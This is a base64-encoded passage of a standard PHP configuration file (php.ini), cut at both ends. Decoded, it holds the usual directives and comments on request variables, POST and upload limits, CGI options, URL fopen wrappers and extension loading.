sgTGlzdCBvZiBzZXBhcmF0b3IocykgdXNlZCBieSBQSFAgdG8gcGFyc2UgaW5wdXQgVVJMcyBpbnRvIHZhcmlhYmxlcy4KOyBQSFAmYXBvcztzIGRlZmF1bHQgc2V0dGluZyBpcyAmcXVvdDsmYW1wOyZxdW90Oy4KOyBOT1RFOiBFdmVyeSBjaGFyYWN0ZXIgaW4gdGhpcyBkaXJlY3RpdmUgaXMgY29uc2lkZXJlZCBhcyBzZXBhcmF0b3IhCjsgaHR0cDovL3BocC5uZXQvYXJnLXNlcGFyYXRvci5pbnB1dAo7IEV4YW1wbGU6Cjthcmdfc2VwYXJhdG9yLmlucHV0ID0gJnF1b3Q7OyZhbXA7JnF1b3Q7Cgo7IFRoaXMgZGlyZWN0aXZlIGRldGVybWluZXMgd2hpY2ggc3VwZXIgZ2xvYmFsIGFycmF5cyBhcmUgcmVnaXN0ZXJlZCB3aGVuIFBIUAo7IHN0YXJ0cyB1cC4gRyxQLEMsRSAmYW1wOyBTIGFyZSBhYmJyZXZpYXRpb25zIGZvciB0aGUgZm9sbG93aW5nIHJlc3BlY3RpdmUgc3VwZXIKOyBnbG9iYWxzOiBHRVQsIFBPU1QsIENPT0tJRSwgRU5WIGFuZCBTRVJWRVIuIFRoZXJlIGlzIGEgcGVyZm9ybWFuY2UgcGVuYWx0eQo7IHBhaWQgZm9yIHRoZSByZWdpc3RyYXRpb24gb2YgdGhlc2UgYXJyYXlzIGFuZCBiZWNhdXNlIEVOViBpcyBub3QgYXMgY29tbW9ubHkKOyB1c2VkIGFzIHRoZSBvdGhlcnMsIEVOViBpcyBub3QgcmVjb21tZW5kZWQgb24gcHJvZHVjdGlvbnMgc2VydmVycy4gWW91CjsgY2FuIHN0aWxsIGdldCBhY2Nlc3MgdG8gdGhlIGVudmlyb25tZW50IHZhcmlhYmxlcyB0aHJvdWdoIGdldGVudigpIHNob3VsZCB5b3UKOyBuZWVkIHRvLgo7IERlZmF1bHQgVmFsdWU6ICZxdW90O0VHUENTJnF1b3Q7CjsgRGV2ZWxvcG1lbnQgVmFsdWU6ICZxdW90O0dQQ1MmcXVvdDsKOyBQcm9kdWN0aW9uIFZhbHVlOiAmcXVvdDtHUENTJnF1b3Q7Owo7IGh0dHA6Ly9waHAubmV0L3ZhcmlhYmxlcy1vcmRlcgp2YXJpYWJsZXNfb3JkZXIgPSAmcXVvdDtHUENTJnF1b3Q7Cgo7IFRoaXMgZGlyZWN0aXZlIGRldGVybWluZXMgd2hpY2ggc3VwZXIgZ2xvYmFsIGRhdGEgKEcsUCAmYW1wOyBDKSBzaG91bGQgYmUKOyByZWdpc3RlcmVkIGludG8gdGhlIHN1cGVyIGdsb2JhbCBhcnJheSBSRVFVRVNULiBJZiBzbywgaXQgYWxzbyBkZXRlcm1pbmVzCjsgdGhlIG9yZGVyIGluIHdoaWNoIHRoYXQgZGF0YSBpcyByZWdpc3RlcmVkLiBUaGUgdmFsdWVzIGZvciB0aGlzIGRpcmVjdGl2ZQo7IGFyZSBzcGVjaWZpZWQgaW4gdGhlIHNhbWUgbWFubmVyIGFzIHRoZSB2YXJpYWJsZXNfb3JkZXIgZGlyZWN0aXZlLAo7IEVYQ0VQVCBvbmUuIExlYXZpbmcgdGhpcyB2YWx1ZSBlbXB0eSB3aWxsIGNhdXNlIFBIUCB0byB1c2UgdGhlIHZhbHVlIHNldAo7IGluIHRoZSB2YXJpYWJsZXNfb3JkZXIgZGlyZWN0aXZlLiBJdCBkb2VzIG5vdCBtZWFuIGl0IHdpbGwgbGVhdmUgdGhlIHN1cGVyCjsgZ2xvYmFscyBhcnJheSBSRVFVRVNUIGVtcHR5Lgo7IERlZmF1bHQgVmFsdWU6IE5vbmUKOyBEZXZlbG9wbWVudCBWYWx1ZTogJnF1b3Q7R1AmcXVvdDsKOyBQcm9kdWN0aW9uIFZhbHVlOiAmcXVvdDtHUCZxdW90Owo7IGh0dHA6Ly9waHAubmV0L3JlcXVlc3Qtb3JkZXIKcmVxdWVzdF9vcmRlciA9ICZxdW90O0dQJnF1b3Q7Cgo7IFRoaXMgZGlyZWN0aXZlIGRldGVybWluZXMgd2hldGhlciBQSFAgcmVnaXN0ZXJzICRhcmd2ICZhbXA7ICRhcmdjIGVhY2ggdGltZSBpdAo7IHJ1bnMuICRhcmd2IGNvbnRhaW5zIGFuIGFycmF5IG9mIGFsbCB0aGUgYXJndW1lbnRzIHBhc3NlZCB0byBQSFAgd2hlbiBhIHNjcmlwdAo7IGlzIGludm9rZWQuICRhcmdjIGNvbnRhaW5zIGFuIGludGVnZXIgcmVwcmVzZW50aW5nIHRoZSBudW1iZXIgb2YgYXJndW1lbnRzCjsgdGhhdCB3ZXJlIHBhc3NlZCB3aGVuIHRoZSBzY3JpcHQgd2FzIGludm9rZWQuIFRoZXNlIGFycmF5cyBhcmUgZXh0cmVtZWx5CjsgdXNlZnVsIHdoZW4gcnVubmluZyBzY3JpcHRzIGZyb20gdGhlIGNvbW1hbmQgbGluZS4gV2hlbiB0aGlzIGRpcmVjdGl2ZSBpcwo7IGVuYWJsZWQsIHJlZ2lzdGVyaW5nIHRoZXNlIHZhcmlhYmxlcyBjb25zdW1lcyBDUFUgY3ljbGVzIGFuZCBtZW1vcnkgZWFjaCB0aW1lCjsgYSBzY3JpcHQgaXMgZXhlY3V0ZWQuIEZvciBwZXJmb3JtYW5jZSByZWFzb25zLCB0aGlzIGZlYXR1cmUgc2hvdWxkIGJlIGRpc2FibGVkCjsgb24gcHJvZHVjdGlvbiBzZXJ2ZXJzLgo7IE5vdGU6IFRoaXMgZGlyZWN0aXZlIGlzIGhhcmRjb2RlZCB0byBPbiBmb3IgdGhlIENMSSBTQVBJCjsgRGVmYXVsdCBWYWx1ZTogT24KOyBEZXZlbG9wbWVudCBWYWx1ZTogT2ZmCjsgUHJvZHVjdGlvbiBWYWx1ZTogT2ZmCjsgaHR0cDovL3BocC5uZXQvcmVnaXN0ZXItYXJnYy1hcmd2CnJlZ2lzdGVyX2FyZ2NfYXJndiA9IE9mZgoKOyBXaGVuIGVuYWJsZWQsIHRoZSBFTlYsIFJFUVVFU1QgYW5kIFNFUlZFUiB2YXJpYWJsZXMgYXJlIGNyZWF0ZWQgd2hlbiB0aGV5JmFwb3M7cmUKOyBmaXJzdCB1c2VkIChKdXN0IEluIFRpbWUpIGluc3RlYWQgb2Ygd2hlbiB0aGUgc2NyaXB0IHN0YXJ0cy4gSWYgdGhlc2UKOyB2YXJpYWJsZXMgYXJlIG5vdCB1c2VkIHdpdGhpbiBhIHNjcmlwdCwgaGF2aW5nIHRoaXMgZGlyZWN0aXZlIG9uIHdpbGwgcmVzdWx0CjsgaW4gYSBwZXJmb3JtYW5jZSBnYWluLiBUaGUgUEhQIGRpcmVjdGl2ZSByZWdpc3Rlcl9hcmdjX2FyZ3YgbXVzdCBiZSBkaXNhYmxlZAo7IGZvciB0aGlzIGRpcmVjdGl2ZSB0byBoYXZlIGFueSBhZmZlY3QuCjsgaHR0cDovL3BocC5uZXQvYXV0by1nbG9iYWxzLWppdAphdXRvX2dsb2JhbHNfaml0ID0gT24KCjsgV2hldGhlciBQSFAgd2lsbCByZWFkIHRoZSBQT1NUIGRhdGEuCjsgVGhpcyBvcHRpb24gaXMgZW5hYmxlZCBieSBkZWZhdWx0Lgo7IE1vc3QgbGlrZWx5LCB5b3Ugd29uJmFwb3M7dCB3YW50IHRvIGRpc2FibGUgdGhpcyBvcHRpb24gZ2xvYmFsbHkuIEl0IGNhdXNlcyAkX1BPU1QKOyBhbmQgJF9GSUxFUyB0byBhbHdheXMgYmUgZW1wdHk7IHRoZSBvbmx5IHdheSB5b3Ugd2lsbCBiZSBhYmxlIHRvIHJlYWQgdGhlCjsgUE9TVCBkYXRhIHdpbGwgYmUgdGhyb3VnaCB0aGUgcGhwOi8vaW5wdXQgc3RyZWFtIHdyYXBwZXIuIFRoaXMgY2FuIGJlIHVzZWZ1bAo7IHRvIHByb3h5IHJlcXVlc3RzIG9yIHRvIHByb2Nlc3MgdGhlIFBPU1QgZGF0YSBpbiBhIG1lbW9yeSBlZmZpY2llbnQgZmFzaGlvbi4KOyBodHRwOi8vcGhwLm5ldC9lbmFibGUtcG9zdC1kYXRhLXJlYWRpbmcKO2VuYWJsZV9wb3N0X2RhdGFfcmVhZGluZyA9IE9mZgoKOyBNYXhpbXVtIHNpemUgb2YgUE9TVCBkYXRhIHRoYXQgUEhQIHdpbGwgYWNjZXB0Lgo7IEl0cyB2YWx1ZSBtYXkgYmUgMCB0byBkaXNhYmxlIHRoZSBsaW1pdC4gSXQgaXMgaWdub3JlZCBpZiBQT1NUIGRhdGEgcmVhZGluZwo7IGlzIGRpc2FibGVkIHRocm91Z2ggZW5hYmxlX3Bvc3RfZGF0YV9yZWFkaW5nLgo7IGh0dHA6Ly9waHAubmV0L3Bvc3QtbWF4LXNpemUKcG9zdF9tYXhfc2l6ZSA9IDhNCgo7IEF1dG9tYXRpY2FsbHkgYWRkIGZpbGVzIGJlZm9yZSBQSFAgZG9jdW1lbnQuCjsgaHR0cDovL3BocC5uZXQvYXV0by1wcmVwZW5kLWZpbGUKYXV0b19wcmVwZW5kX2ZpbGUgPQoKOyBBdXRvbWF0aWNhbGx5IGFkZCBmaWxlcyBhZnRlciBQSFAgZG9jdW1lbnQuCjsgaHR0cDovL3BocC5uZXQvYXV0by1hcHBlbmQtZmlsZQphdXRvX2FwcGVuZF9maWxlID0KCjsgQnkgZGVmYXVsdCwgUEhQIHdpbGwgb3V0cHV0IGEgbWVkaWEgdHlwZSB1c2luZyB0aGUgQ29udGVudC1UeXBlIGhlYWRlci4gVG8KOyBkaXNhYmxlIHRoaXMsIHNpbXBseSBzZXQgaXQgdG8gYmUgZW1wdHkuCjsKOyBQSFAmYXBvcztzIGJ1aWx0LWluIGRlZmF1bHQgbWVkaWEgdHlwZSBpcyBzZXQgdG8gdGV4dC9odG1sLgo7IGh0dHA6Ly9waHAubmV0L2RlZmF1bHQtbWltZXR5cGUKZGVmYXVsdF9taW1ldHlwZSA9ICZxdW90O3RleHQvaHRtbCZxdW90OwoKOyBQSFAmYXBvcztzIGRlZmF1bHQgY2hhcmFjdGVyIHNldCBpcyBzZXQgdG8gVVRGLTguCjsgaHR0cDovL3BocC5uZXQvZGVmYXVsdC1jaGFyc2V0CmRlZmF1bHRfY2hhcnNldCA9ICZxdW90O1VURi04JnF1b3Q7Cgo7IFBIUCBpbnRlcm5hbCBjaGFyYWN0ZXIgZW5jb2RpbmcgaXMgc2V0IHRvIGVtcHR5Lgo7IElmIGVtcHR5LCBkZWZhdWx0X2NoYXJzZXQgaXMgdXNlZC4KOyBodHRwOi8vcGhwLm5ldC9pbnRlcm5hbC1lbmNvZGluZwo7aW50ZXJuYWxfZW5jb2RpbmcgPQoKOyBQSFAgaW5wdXQgY2hhcmFjdGVyIGVuY29kaW5nIGlzIHNldCB0byBlbXB0eS4KOyBJZiBlbXB0eSwgZGVmYXVsdF9jaGFyc2V0IGlzIHVzZWQuCjsgaHR0cDovL3BocC5uZXQvaW5wdXQtZW5jb2RpbmcKO2lucHV0X2VuY29kaW5nID0KCjsgUEhQIG91dHB1dCBjaGFyYWN0ZXIgZW5jb2RpbmcgaXMgc2V0IHRvIGVtcHR5Lgo7IElmIGVtcHR5LCBkZWZhdWx0X2NoYXJzZXQgaXMgdXNlZC4KOyBTZWUgYWxzbyBvdXRwdXRfYnVmZmVyLgo7IGh0dHA6Ly9waHAubmV0L291dHB1dC1lbmNvZGluZwo7b3V0cHV0X2VuY29kaW5nID0KCjs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OzsKOyBQYXRocyBhbmQgRGlyZWN0b3JpZXMgOwo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Cgo7IFVOSVg6ICZxdW90Oy9wYXRoMTovcGF0aDImcXVvdDsKO2luY2x1ZGVfcGF0aCA9ICZxdW90Oy46L3BocC9pbmNsdWRlcyZxdW90Owo7CjsgV2luZG93czogJnF1b3Q7XHBhdGgxO1xwYXRoMiZxdW90Owo7aW5jbHVkZV9wYXRoID0gJnF1b3Q7LjtjOlxwaHBcaW5jbHVkZXMmcXVvdDsKOwo7IFBIUCZhcG9zO3MgZGVmYXVsdCBzZXR0aW5nIGZvciBpbmNsdWRlX3BhdGggaXMgJnF1b3Q7LjsvcGF0aC90by9waHAvcGVhciZxdW90Owo7IGh0dHA6Ly9waHAubmV0L2luY2x1ZGUtcGF0aAoKOyBUaGUgcm9vdCBvZiB0aGUgUEhQIHBhZ2VzLCB1c2VkIG9ubHkgaWYgbm9uZW1wdHkuCjsgaWYgUEhQIHdhcyBub3QgY29tcGlsZWQgd2l0aCBGT1JDRV9SRURJUkVDVCwgeW91IFNIT1VMRCBzZXQgZG9jX3Jvb3QKOyBpZiB5b3UgYXJlIHJ1bm5pbmcgcGhwIGFzIGEgQ0dJIHVuZGVyIGFueSB3ZWIgc2VydmVyIChvdGhlciB0aGFuIElJUykKOyBzZWUgZG9jdW1lbnRhdGlvbiBmb3Igc2VjdXJpdHkgaXNzdWVzLiAgVGhlIGFsdGVybmF0ZSBpcyB0byB1c2UgdGhlCjsgY2dpLmZvcmNlX3JlZGlyZWN0IGNvbmZpZ3VyYXRpb24gYmVsb3cKOyBodHRwOi8vcGhwLm5ldC9kb2Mtcm9vdApkb2Nfcm9vdCA9Cgo7IFRoZSBkaXJlY3RvcnkgdW5kZXIgd2hpY2ggUEhQIG9wZW5zIHRoZSBzY3JpcHQgdXNpbmcgL351c2VybmFtZSB1c2VkIG9ubHkKOyBpZiBub25lbXB0eS4KOyBodHRwOi8vcGhwLm5ldC91c2VyLWRpcgp1c2VyX2RpciA9Cgo7IERpcmVjdG9yeSBpbiB3aGljaCB0aGUgbG9hZGFibGUgZXh0ZW5zaW9ucyAobW9kdWxlcykgcmVzaWRlLgo7IGh0dHA6Ly9waHAubmV0L2V4dGVuc2lvbi1kaXIKO2V4dGVuc2lvbl9kaXIgPSAmcXVvdDsuLyZxdW90Owo7IE9uIHdpbmRvd3M6CjtleHRlbnNpb25fZGlyID0gJnF1b3Q7ZXh0JnF1b3Q7Cgo7IERpcmVjdG9yeSB3aGVyZSB0aGUgdGVtcG9yYXJ5IGZpbGVzIHNob3VsZCBiZSBwbGFjZWQuCjsgRGVmYXVsdHMgdG8gdGhlIHN5c3RlbSBkZWZhdWx0IChzZWUgc3lzX2dldF90ZW1wX2RpcikKO3N5c190ZW1wX2RpciA9ICZxdW90Oy90bXAmcXVvdDsKCjsgV2hldGhlciBvciBub3QgdG8gZW5hYmxlIHRoZSBkbCgpIGZ1bmN0aW9uLiAgVGhlIGRsKCkgZnVuY3Rpb24gZG9lcyBOT1Qgd29yawo7IHByb3Blcmx5IGluIG11bHRpdGhyZWFkZWQgc2VydmVycywgc3VjaCBhcyBJSVMgb3IgWmV1cywgYW5kIGlzIGF1dG9tYXRpY2FsbHkKOyBkaXNhYmxlZCBvbiB0aGVtLgo7IGh0dHA6Ly9waHAubmV0L2VuYWJsZS1kbAplbmFibGVfZGwgPSBPZmYKCjsgY2dpLmZvcmNlX3JlZGlyZWN0IGlzIG5lY2Vzc2FyeSB0byBwcm92aWRlIHNlY3VyaXR5IHJ1bm5pbmcgUEhQIGFzIGEgQ0dJIHVuZGVyCjsgbW9zdCB3ZWIgc2VydmVycy4gIExlZnQgdW5kZWZpbmVkLCBQSFAgdHVybnMgdGhpcyBvbiBieSBkZWZhdWx0LiAgWW91IGNhbgo7IHR1cm4gaXQgb2ZmIGhlcmUgQVQgWU9VUiBPV04gUklTSwo7ICoqWW91IENBTiBzYWZlbHkgdHVybiB0aGlzIG9mZiBmb3IgSUlTLCBpbiBmYWN0LCB5b3UgTVVTVC4qKgo7IGh0dHA6Ly9waHAubmV0L2NnaS5mb3JjZS1yZWRpcmVjdAo7Y2dpLmZvcmNlX3JlZGlyZWN0ID0gMQoKOyBpZiBjZ2kubnBoIGlzIGVuYWJsZWQgaXQgd2lsbCBmb3JjZSBjZ2kgdG8gYWx3YXlzIHNlbnQgU3RhdHVzOiAyMDAgd2l0aAo7IGV2ZXJ5IHJlcXVlc3QuIFBIUCZhcG9zO3MgZGVmYXVsdCBiZWhhdmlvciBpcyB0byBkaXNhYmxlIHRoaXMgZmVhdHVyZS4KO2NnaS5ucGggPSAxCgo7IGlmIGNnaS5mb3JjZV9yZWRpcmVjdCBpcyB0dXJuZWQgb24sIGFuZCB5b3UgYXJlIG5vdCBydW5uaW5nIHVuZGVyIEFwYWNoZSBvciBOZXRzY2FwZQo7IChpUGxhbmV0KSB3ZWIgc2VydmVycywgeW91IE1BWSBuZWVkIHRvIHNldCBhbiBlbnZpcm9ubWVudCB2YXJpYWJsZSBuYW1lIHRoYXQgUEhQCjsgd2lsbCBsb29rIGZvciB0byBrbm93IGl0IGlzIE9LIHRvIGNvbnRpbnVlIGV4ZWN1dGlvbi4gIFNldHRpbmcgdGhpcyB2YXJpYWJsZSBNQVkKOyBjYXVzZSBzZWN1cml0eSBpc3N1ZXMsIEtOT1cgV0hBVCBZT1UgQVJFIERPSU5HIEZJUlNULgo7IGh0dHA6Ly9waHAubmV0L2NnaS5yZWRpcmVjdC1zdGF0dXMtZW52CjtjZ2kucmVkaXJlY3Rfc3RhdHVzX2VudiA9Cgo7IGNnaS5maXhfcGF0aGluZm8gcHJvdmlkZXMgKnJlYWwqIFBBVEhfSU5GTy9QQVRIX1RSQU5TTEFURUQgc3VwcG9ydCBmb3IgQ0dJLiAgUEhQJmFwb3M7cwo7IHByZXZpb3VzIGJlaGF2aW91ciB3YXMgdG8gc2V0IFBBVEhfVFJBTlNMQVRFRCB0byBTQ1JJUFRfRklMRU5BTUUsIGFuZCB0byBub3QgZ3Jvawo7IHdoYXQgUEFUSF9JTkZPIGlzLiAgRm9yIG1vcmUgaW5mb3JtYXRpb24gb24gUEFUSF9JTkZPLCBzZWUgdGhlIGNnaSBzcGVjcy4gIFNldHRpbmcKOyB0aGlzIHRvIDEgd2lsbCBjYXVzZSBQSFAgQ0dJIHRvIGZpeCBpdHMgcGF0aHMgdG8gY29uZm9ybSB0byB0aGUgc3BlYy4gIEEgc2V0dGluZwo7IG9mIHplcm8gY2F1c2VzIFBIUCB0byBiZWhhdmUgYXMgYmVmb3JlLiAgRGVmYXVsdCBpcyAxLiAgWW91IHNob3VsZCBmaXggeW91ciBzY3JpcHRzCjsgdG8gdXNlIFNDUklQVF9GSUxFTkFNRSByYXRoZXIgdGhhbiBQQVRIX1RSQU5TTEFURUQuCjsgaHR0cDovL3BocC5uZXQvY2dpLmZpeC1wYXRoaW5mbwo7Y2dpLmZpeF9wYXRoaW5mbz0xCgo7IGlmIGNnaS5kaXNjYXJkX3BhdGggaXMgZW5hYmxlZCwgdGhlIFBIUCBDR0kgYmluYXJ5IGNhbiBzYWZlbHkgYmUgcGxhY2VkIG91dHNpZGUKOyBvZiB0aGUgd2ViIHRyZWUgYW5kIHBlb3BsZSB3aWxsIG5vdCBiZSBhYmxlIHRvIGNpcmN1bXZlbnQgLmh0YWNjZXNzIHNlY3VyaXR5Lgo7Y2dpLmRpc2NhcmRfcGF0aD0xCgo7IEZhc3RDR0kgdW5kZXIgSUlTIHN1cHBvcnRzIHRoZSBhYmlsaXR5IHRvIGltcGVyc29uYXRlCjsgc2VjdXJpdHkgdG9rZW5zIG9mIHRoZSBjYWxsaW5nIGNsaWVudC4gIFRoaXMgYWxsb3dzIElJUyB0byBkZWZpbmUgdGhlCjsgc2VjdXJpdHkgY29udGV4dCB0aGF0IHRoZSByZXF1ZXN0IHJ1bnMgdW5kZXIuICBtb2RfZmFzdGNnaSB1bmRlciBBcGFjaGUKOyBkb2VzIG5vdCBjdXJyZW50bHkgc3VwcG9ydCB0aGlzIGZlYXR1cmUgKDAzLzE3LzIwMDIpCjsgU2V0IHRvIDEgaWYgcnVubmluZyB1bmRlciBJSVMuICBEZWZhdWx0IGlzIHplcm8uCjsgaHR0cDovL3BocC5uZXQvZmFzdGNnaS5pbXBlcnNvbmF0ZQo7ZmFzdGNnaS5pbXBlcnNvbmF0ZSA9IDEKCjsgRGlzYWJsZSBsb2dnaW5nIHRocm91Z2ggRmFzdENHSSBjb25uZWN0aW9uLiBQSFAmYXBvcztzIGRlZmF1bHQgYmVoYXZpb3IgaXMgdG8gZW5hYmxlCjsgdGhpcyBmZWF0dXJlLgo7ZmFzdGNnaS5sb2dnaW5nID0gMAoKOyBjZ2kucmZjMjYxNl9oZWFkZXJzIGNvbmZpZ3VyYXRpb24gb3B0aW9uIHRlbGxzIFBIUCB3aGF0IHR5cGUgb2YgaGVhZGVycyB0bwo7IHVzZSB3aGVuIHNlbmRpbmcgSFRUUCByZXNwb25zZSBjb2RlLiBJZiBzZXQgdG8gMCwgUEhQIHNlbmRzIFN0YXR1czogaGVhZGVyIHRoYXQKOyBpcyBzdXBwb3J0ZWQgYnkgQXBhY2hlLiBXaGVuIHRoaXMgb3B0aW9uIGlzIHNldCB0byAxLCBQSFAgd2lsbCBzZW5kCjsgUkZDMjYxNiBjb21wbGlhbnQgaGVhZGVyLgo7IERlZmF1bHQgaXMgemVyby4KOyBodHRwOi8vcGhwLm5ldC9jZ2kucmZjMjYxNi1oZWFkZXJzCjtjZ2kucmZjMjYxNl9oZWFkZXJzID0gMAoKOyBjZ2kuY2hlY2tfc2hlYmFuZ19saW5lIGNvbnRyb2xzIHdoZXRoZXIgQ0dJIFBIUCBjaGVja3MgZm9yIGxpbmUgc3RhcnRpbmcgd2l0aCAjIQo7IChzaGViYW5nKSBhdCB0aGUgdG9wIG9mIHRoZSBydW5uaW5nIHNjcmlwdC4gVGhpcyBsaW5lIG1pZ2h0IGJlIG5lZWRlZCBpZiB0aGUKOyBzY3JpcHQgc3VwcG9ydCBydW5uaW5nIGJvdGggYXMgc3RhbmQtYWxvbmUgc2NyaXB0IGFuZCB2aWEgUEhQIENHSSZsdDsuIFBIUCBpbiBDR0kKOyBtb2RlIHNraXBzIHRoaXMgbGluZSBhbmQgaWdub3JlcyBpdHMgY29udGVudCBpZiB0aGlzIGRpcmVjdGl2ZSBpcyB0dXJuZWQgb24uCjsgaHR0cDovL3BocC5uZXQvY2dpLmNoZWNrLXNoZWJhbmctbGluZQo7Y2dpLmNoZWNrX3NoZWJhbmdfbGluZT0xCgo7Ozs7Ozs7Ozs7Ozs7Ozs7CjsgRmlsZSBVcGxvYWRzIDsKOzs7Ozs7Ozs7Ozs7Ozs7OwoKOyBXaGV0aGVyIHRvIGFsbG93IEhUVFAgZmlsZSB1cGxvYWRzLgo7IGh0dHA6Ly9waHAubmV0L2ZpbGUtdXBsb2FkcwpmaWxlX3VwbG9hZHMgPSBPbgoKOyBUZW1wb3JhcnkgZGlyZWN0b3J5IGZvciBIVFRQIHVwbG9hZGVkIGZpbGVzICh3aWxsIHVzZSBzeXN0ZW0gZGVmYXVsdCBpZiBub3QKOyBzcGVjaWZpZWQpLgo7IGh0dHA6Ly9waHAubmV0L3VwbG9hZC10bXAtZGlyCjt1cGxvYWRfdG1wX2RpciA9Cgo7IE1heGltdW0gYWxsb3dlZCBzaXplIGZvciB1cGxvYWRlZCBmaWxlcy4KOyBodHRwOi8vcGhwLm5ldC91cGxvYWQtbWF4LWZpbGVzaXplCnVwbG9hZF9tYXhfZmlsZXNpemUgPSAyTQoKOyBNYXhpbXVtIG51bWJlciBvZiBmaWxlcyB0aGF0IGNhbiBiZSB1cGxvYWRlZCB2aWEgYSBzaW5nbGUgcmVxdWVzdAptYXhfZmlsZV91cGxvYWRzID0gMjAKCjs7Ozs7Ozs7Ozs7Ozs7Ozs7Owo7IEZvcGVuIHdyYXBwZXJzIDsKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Cgo7IFdoZXRoZXIgdG8gYWxsb3cgdGhlIHRyZWF0bWVudCBvZiBVUkxzIChsaWtlIGh0dHA6Ly8gb3IgZnRwOi8vKSBhcyBmaWxlcy4KOyBodHRwOi8vcGhwLm5ldC9hbGxvdy11cmwtZm9wZW4KYWxsb3dfdXJsX2ZvcGVuID0gT24KCjsgV2hldGhlciB0byBhbGxvdyBpbmNsdWRlL3JlcXVpcmUgdG8gb3BlbiBVUkxzIChsaWtlIGh0dHA6Ly8gb3IgZnRwOi8vKSBhcyBmaWxlcy4KOyBodHRwOi8vcGhwLm5ldC9hbGxvdy11cmwtaW5jbHVkZQphbGxvd191cmxfaW5jbHVkZSA9IE9mZgoKOyBEZWZpbmUgdGhlIGFub255bW91cyBmdHAgcGFzc3dvcmQgKHlvdXIgZW1haWwgYWRkcmVzcykuIFBIUCZhcG9zO3MgZGVmYXVsdCBzZXR0aW5nCjsgZm9yIHRoaXMgaXMgZW1wdHkuCjsgaHR0cDovL3BocC5uZXQvZnJvbQo7ZnJvbT0mcXVvdDtqb2huQGRvZS5jb20mcXVvdDsKCjsgRGVmaW5lIHRoZSBVc2VyLUFnZW50IHN0cmluZy4gUEhQJmFwb3M7cyBkZWZhdWx0IHNldHRpbmcgZm9yIHRoaXMgaXMgZW1wdHkuCjsgaHR0cDovL3BocC5uZXQvdXNlci1hZ2VudAo7dXNlcl9hZ2VudD0mcXVvdDtQSFAmcXVvdDsKCjsgRGVmYXVsdCB0aW1lb3V0IGZvciBzb2NrZXQgYmFzZWQgc3RyZWFtcyAoc2Vjb25kcykKOyBodHRwOi8vcGhwLm5ldC9kZWZhdWx0LXNvY2tldC10aW1lb3V0CmRlZmF1bHRfc29ja2V0X3RpbWVvdXQgPSA2MAoKOyBJZiB5b3VyIHNjcmlwdHMgaGF2ZSB0byBkZWFsIHdpdGggZmlsZXMgZnJvbSBNYWNpbnRvc2ggc3lzdGVtcywKOyBvciB5b3UgYXJlIHJ1bm5pbmcgb24gYSBNYWMgYW5kIG5lZWQgdG8gZGVhbCB3aXRoIGZpbGVzIGZyb20KOyB1bml4IG9yIHdpbjMyIHN5c3RlbXMsIHNldHRpbmcgdGhpcyBmbGFnIHdpbGwgY2F1c2UgUEhQIHRvCjsgYXV0b21hdGljYWxseSBkZXRlY3QgdGhlIEVPTCBjaGFyYWN0ZXIgaW4gdGhvc2UgZmlsZXMgc28gdGhhdAo7IGZnZXRzKCkgYW5kIGZpbGUoKSB3aWxsIHdvcmsgcmVnYXJkbGVzcyBvZiB0aGUgc291cmNlIG9mIHRoZSBmaWxlLgo7IGh0dHA6Ly9waHAubmV0L2F1dG8tZGV0ZWN0LWxpbmUtZW5kaW5ncwo7YXV0b19kZXRlY3RfbGluZV9lbmRpbmdzID0gT2ZmCgo7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7CjsgRHluYW1pYyBFeHRlbnNpb25zIDsKOzs7Ozs7Ozs7Ozs7Ozs7Ozs7Ozs7OwoKOyBJZiB5b3Ugd2lzaCB0byBoYXZlIGFuIGV4dGVuc2lvbiBsb2FkZWQgYXV0b21hdGljYWxseSwgdXNlIHRoZSBmb2xsb3dpbmcKOyBzeW50YXg6CjsKOyAgIGV4dGVuc2lvbj1tb2R1bGVuYW1lCjsKOyBGb3IgZXhhbXBsZToKOwo7ICAgZXh0ZW5zaW9uPW15c3FsaQo7CjsgV2hlbiB0aGUgZXh0ZW5zaW9uIGxpYnJhcnkgdG8gbG9hZCBpcyBub3QgbG9jYXRlZCBpbiB0aGUgZGVmYXVsdCBleHRlbnNpb24KOyBkaXJlY3RvcnksIFlvdSBtYXkgc3BlY2lmeSBhbiBhYnNvbHV0ZSBwYXRoIHRvIHRoZSBsaWJyYXJ5IGZpbGU6CjsKOyAgIGV4dGVuc2lvbj0vcGF0aC90by9leHRlbnNpb24vbXlzcWxpLnNvCjsKOyBOb3RlIDogVGhlIHN5bnRheCB1c2VkIGluIHByZXZpb3VzIFBIUCB2ZXJzaW9ucyAoJmFwb3M7ZXh0ZW5zaW9uPSZsdDtleHQmZ3Q7LnNvJmFwb3M7IGFuZAo7ICZhcG9zO2V4dGVuc2lvbj0mYXBvcztwaHBfJmx0O2V4dCZndDsuZGxsJmFwb3M7KSBpcyBzdXBwb3J0ZWQgZm9yIGxlZ2FjeSByZWFzb25zIGFuZCBtYXkgYmUKOyBkZXByZWNhdGVkIGluIGEgZnV0dXJlIFBIUCBtYWpvciB2ZXJzaW9uLiBTbywgd2hlbiBpdCBpcyBwb3NzaWJsZSwgcGxlYXNlCjsgbW92ZSB0byB0aGUgbmV3ICgmYXBvcztleHRlbnNpb249Jmx0O2V4dCZndDspIHN5bnRheC4KOwo7IE5vdGVzIGZvciBXaW5kb3dzIGVudmlyb25tZW50cyA6CjsKOyAtIE1hbnkgRExMIGZpbGVzIGFyZSBsb2NhdGVkIGluIHRoZSBleHRlbnNpb25zLyAoUEhQIDQpIG9yIGV4dC8gKFBIUCA1KykKOyAgIGV4dGVuc2lvbiBmb2xkZXJzIGFzIHdlbGwgYXMgdGhlIHNlcGFyYXRlIFBFQ0wgRExMIGRvd25sb2FkIChQSFAgNSspLgo7ICAgQmUgc3VyZSB0byBhcHByb3ByaWF0ZWx5IHNldCB0aGUgZXh0ZW5zaW9uX2RpciBkaXJlY3RpdmUuCjsKO2V4dGVuc2lvbj1iejIKO2V4dGVuc2lvbj1jdXJsCjtleHRlbnNpb249ZmlsZWluZm8KO2V4dGVuc2lvbj1nZDIKO2V4dGVuc2lvbj1nZXR0ZXh0CjtleHRlbnNpb249Z21wCjtleHRlbnNpb249aW50bAo7ZXh0ZW5zaW9uPWltYXAKO2V4dGVuc2lvbj1pbnRlcmJhc2UKO2V4dGVuc2lvbj1sZGFwCjtleHRlbnNpb249bWJzdHJpbmcKO2V4dGVuc2lvbj1leGlmICAgICAgOyBNdXN0IGJlIGFmdGVyIG1ic3RyaW5nIGFzIGl0IGRlcGV